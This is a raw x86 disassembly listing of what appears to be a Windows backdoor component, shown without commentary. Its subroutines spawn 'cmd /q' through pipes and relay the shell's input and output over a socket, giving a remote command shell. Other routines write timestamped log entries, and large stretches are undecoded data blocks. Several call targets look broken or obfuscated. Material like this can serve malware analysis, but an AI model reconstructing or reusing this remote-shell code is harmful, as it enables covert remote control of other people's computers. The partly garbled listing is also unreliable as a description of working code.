21E89057h, 53022BF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 7BE89050h, 8B0225F4h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0C1E89032h dd 0EB0225F3h, 7EE890EDh, 500225FDh, 43422468h, 45CEE800h dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 0F336E890h dd 335B022Bh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 26709C5h nop push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 26709C5h push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2680979h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2770361h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 26709C5h push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 2680979h push 1 push dword ptr [esi+8] call near ptr 26F0B51h nop loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 26709C5h push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 26709C5h nop push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2651BF2h test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 26518CEh jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 26709C5h push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2770456h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26E0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 25ED6DE8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225ECB4h, 0E8EDEB90h dd 225F671h, 858D5090h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub eax, [edx] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h dd 390225E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0E74EE890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 0E8000001h, 225E71Ch, 858D5390h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h dd 3E8h, 0E3FAE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 2770578h nop lea eax, [ebp-114h] push 104h push eax nop call near ptr 2660AFDh lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 